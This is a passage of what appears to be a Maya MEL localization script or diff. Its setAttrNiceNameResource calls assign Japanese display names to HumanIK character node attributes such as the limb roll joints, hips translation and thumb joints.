+setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollJointOrienty", "右大腿部ロールのジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollJointOrientz", "右大腿部ロールのジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMinRLimit", "右大腿部ロールの最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMinRLimitx", "右大腿部ロールの最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMinRLimity", "右大腿部ロールの最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMinRLimitz", "右大腿部ロールの最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMaxRLimit", "右大腿部ロールの最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMaxRLimitx", "右大腿部ロールの最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMaxRLimity", "右大腿部ロールの最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMaxRLimitz", "右大腿部ロールの最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMinRLimitEnablex", "右大腿部ロールの最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMinRLimitEnabley", "右大腿部ロールの最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMinRLimitEnablez", "右大腿部ロールの最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMaxRLimitEnablex", "右大腿部ロールの最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMaxRLimitEnabley", "右大腿部ロールの最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMaxRLimitEnablez", "右大腿部ロールの最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRoll", "右脚ロール" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollT", "右脚ロール T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollTx", "右脚ロール Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollTy", "右脚ロール Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollTz", "右脚ロール Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollR", "右脚ロール R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRx", "右脚ロール Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRy", "右脚ロール Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRz", "右脚ロール Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollS", "右脚ロール S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollSx", "右脚ロール Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollSy", "右脚ロール Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollSz", "右脚ロール Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRotateOrder", "右脚ロールの回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRotateAxis", "右脚ロールの回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRotateAxisx", "右脚ロールの回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRotateAxisy", "右脚ロールの回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRotateAxisz", "右脚ロールの回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollJointOrient", "右脚ロールのジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollJointOrientx", "右脚ロールのジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollJointOrienty", "右脚ロールのジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollJointOrientz", "右脚ロールのジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMinRLimit", "右脚ロールの最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMinRLimitx", "右脚ロールの最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMinRLimity", "右脚ロールの最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMinRLimitz", "右脚ロールの最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMaxRLimit", "右脚ロールの最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMaxRLimitx", "右脚ロールの最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMaxRLimity", "右脚ロールの最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMaxRLimitz", "右脚ロールの最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMinRLimitEnablex", "右脚ロールの最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMinRLimitEnabley", "右脚ロールの最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMinRLimitEnablez", "右脚ロールの最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMaxRLimitEnablex", "右脚ロールの最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMaxRLimitEnabley", "右脚ロールの最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMaxRLimitEnablez", "右脚ロールの最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRoll", "左腕のロール" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollT", "左腕のロール T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollTx", "左腕のロール Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollTy", "左腕のロール Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollTz", "左腕のロール Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollR", "左腕のロール R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRx", "左腕のロール Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRy", "左腕のロール Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRz", "左腕のロール Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollS", "左腕のロール S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollSx", "左腕のロール Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollSy", "左腕のロール Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollSz", "左腕のロール Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRotateOrder", "左腕のロールの回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRotateAxis", "左腕のロールの回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRotateAxisx", "左腕のロールの回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRotateAxisy", "左腕のロールの回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRotateAxisz", "左腕のロールの回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollJointOrient", "左腕のロールのジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollJointOrientx", "左腕のロールのジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollJointOrienty", "左腕のロールのジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollJointOrientz", "左腕のロールのジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMinRLimit", "左腕のロールの最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMinRLimitx", "左腕のロールの最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMinRLimity", "左腕のロールの最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMinRLimitz", "左腕のロールの最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMaxRLimit", "左腕のロールの最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMaxRLimitx", "左腕のロールの最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMaxRLimity", "左腕のロールの最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMaxRLimitz", "左腕のロールの最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMinRLimitEnablex", "左腕のロールの最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMinRLimitEnabley", "左腕のロールの最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMinRLimitEnablez", "左腕のロールの最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMaxRLimitEnablex", "左腕のロールの最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMaxRLimitEnabley", "左腕のロールの最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMaxRLimitEnablez", "左腕のロールの最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRoll", "左前腕のロール" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollT", "左前腕のロール T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollTx", "左前腕のロール Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollTy", "左前腕のロール Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollTz", "左前腕のロール Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollR", "左前腕のロール R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRx", "左前腕のロール Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRy", "左前腕のロール Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRz", "左前腕のロール Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollS", "左前腕のロール S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollSx", "左前腕のロール Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollSy", "左前腕のロール Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollSz", "左前腕のロール Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRotateOrder", "左前腕のロールの回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRotateAxis", "左前腕のロールの回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRotateAxisx", "左前腕のロールの回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRotateAxisy", "左前腕のロールの回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRotateAxisz", "左前腕のロールの回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollJointOrient", "左前腕のロールのジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollJointOrientx", "左前腕のロールのジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollJointOrienty", "左前腕のロールのジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollJointOrientz", "左前腕のロールのジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMinRLimit", "左前腕のロールの最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMinRLimitx", "左前腕のロールの最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMinRLimity", "左前腕のロールの最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMinRLimitz", "左前腕のロールの最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMaxRLimit", "左前腕のロールの最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMaxRLimitx", "左前腕のロールの最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMaxRLimity", "左前腕のロールの最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMaxRLimitz", "左前腕のロールの最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMinRLimitEnablex", "左前腕のロールの最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMinRLimitEnabley", "左前腕のロールの最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMinRLimitEnablez", "左前腕のロールの最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMaxRLimitEnablex", "左前腕のロールの最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMaxRLimitEnabley", "左前腕のロールの最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMaxRLimitEnablez", "左前腕のロールの最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRoll", "右腕のロール" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollT", "右腕のロール T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollTx", "右腕のロール Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollTy", "右腕のロール Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollTz", "右腕のロール Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollR", "右腕のロール R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRx", "右腕のロール Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRy", "右腕のロール Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRz", "右腕のロール Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollS", "右腕のロール S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollSx", "右腕のロール Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollSy", "右腕のロール Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollSz", "右腕のロール Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRotateOrder", "右腕のロールの回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRotateAxis", "右腕のロールの回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRotateAxisx", "右腕のロールの回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRotateAxisy", "右腕のロールの回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRotateAxisz", "右腕のロールの回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollJointOrient", "右腕のロールのジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollJointOrientx", "右腕のロールのジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollJointOrienty", "右腕のロールのジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollJointOrientz", "右腕のロールのジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMinRLimit", "右腕のロールの最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMinRLimitx", "右腕のロールの最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMinRLimity", "右腕のロールの最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMinRLimitz", "右腕のロールの最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMaxRLimit", "右腕のロールの最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMaxRLimitx", "右腕のロールの最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMaxRLimity", "右腕のロールの最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMaxRLimitz", "右腕のロールの最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMinRLimitEnablex", "右腕のロールの最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMinRLimitEnabley", "右腕のロールの最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMinRLimitEnablez", "右腕のロールの最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMaxRLimitEnablex", "右腕のロールの最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMaxRLimitEnabley", "右腕のロールの最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMaxRLimitEnablez", "右腕のロールの最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRoll", "右前腕のロール" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollT", "右前腕のロール T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollTx", "右前腕のロール Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollTy", "右前腕のロール Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollTz", "右前腕のロール Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollR", "右前腕のロール R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRx", "右前腕のロール Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRy", "右前腕のロール Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRz", "右前腕のロール Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollS", "右前腕のロール S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollSx", "右前腕のロール Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollSy", "右前腕のロール Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollSz", "右前腕のロール Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRotateOrder", "右前腕のロールの回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRotateAxis", "右前腕のロールの回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRotateAxisx", "右前腕のロールの回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRotateAxisy", "右前腕のロールの回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRotateAxisz", "右前腕のロールの回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollJointOrient", "右前腕のロールのジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollJointOrientx", "右前腕のロールのジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollJointOrienty", "右前腕のロールのジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollJointOrientz", "右前腕のロールのジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMinRLimit", "右前腕のロールの最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMinRLimitx", "右前腕のロールの最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMinRLimity", "右前腕のロールの最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMinRLimitz", "右前腕のロールの最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMaxRLimit", "右前腕のロールの最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMaxRLimitx", "右前腕のロールの最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMaxRLimity", "右前腕のロールの最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMaxRLimitz", "右前腕のロールの最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMinRLimitEnablex", "右前腕のロールの最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMinRLimitEnabley", "右前腕のロールの最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMinRLimitEnablez", "右前腕のロールの最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMaxRLimitEnablex", "右前腕のロールの最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMaxRLimitEnabley", "右前腕のロールの最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMaxRLimitEnablez", "右前腕のロールの最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslation", "ヒップの移動" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationT", "ヒップの移動 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationTx", "ヒップの移動 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationTy", "ヒップの移動 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationTz", "ヒップの移動 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationR", "ヒップの移動 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRx", "ヒップの移動 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRy", "ヒップの移動 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRz", "ヒップの移動 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationS", "ヒップの移動 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationSx", "ヒップの移動 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationSy", "ヒップの移動 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationSz", "ヒップの移動 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRotateOrder", "ヒップの移動の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRotateAxis", "ヒップの移動の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRotateAxisx", "ヒップの移動の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRotateAxisy", "ヒップの移動の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRotateAxisz", "ヒップの移動の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationJointOrient", "ヒップの移動のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationJointOrientx", "ヒップの移動のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationJointOrienty", "ヒップの移動のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationJointOrientz", "ヒップの移動のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMinRLimit", "ヒップの移動の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMinRLimitx", "ヒップの移動の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMinRLimity", "ヒップの移動の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMinRLimitz", "ヒップの移動の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMaxRLimit", "ヒップの移動の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMaxRLimitx", "ヒップの移動の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMaxRLimity", "ヒップの移動の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMaxRLimitz", "ヒップの移動の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMinRLimitEnablex", "ヒップの移動の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMinRLimitEnabley", "ヒップの移動の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMinRLimitEnablez", "ヒップの移動の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMaxRLimitEnablex", "ヒップの移動の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMaxRLimitEnabley", "ヒップの移動の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationMaxRLimitEnablez", "ヒップの移動の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1", "左手親指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1T", "左手親指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Tx", "左手親指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Ty", "左手親指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Tz", "左手親指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1R", "左手親指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Rx", "左手親指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Ry", "左手親指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Rz", "左手親指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1S", "左手親指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Sx", "左手親指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Sy", "左手親指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1Sz", "左手親指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1RotateOrder", "左手親指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1RotateAxis", "左手親指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1RotateAxisx", "左手親指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1RotateAxisy", "左手親指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1RotateAxisz", "左手親指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1JointOrient", "左手親指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1JointOrientx", "左手親指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1JointOrienty", "左手親指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1JointOrientz", "左手親指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MinRLimit", "左手親指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MinRLimitx", "左手親指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MinRLimity", "左手親指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MinRLimitz", "左手親指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MaxRLimit", "左手親指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MaxRLimitx", "左手親指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MaxRLimity", "左手親指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MaxRLimitz", "左手親指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MinRLimitEnablex", "左手親指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MinRLimitEnabley", "左手親指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MinRLimitEnablez", "左手親指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MaxRLimitEnablex", "左手親指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb1MaxRLimitEnabley", "左手親指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", 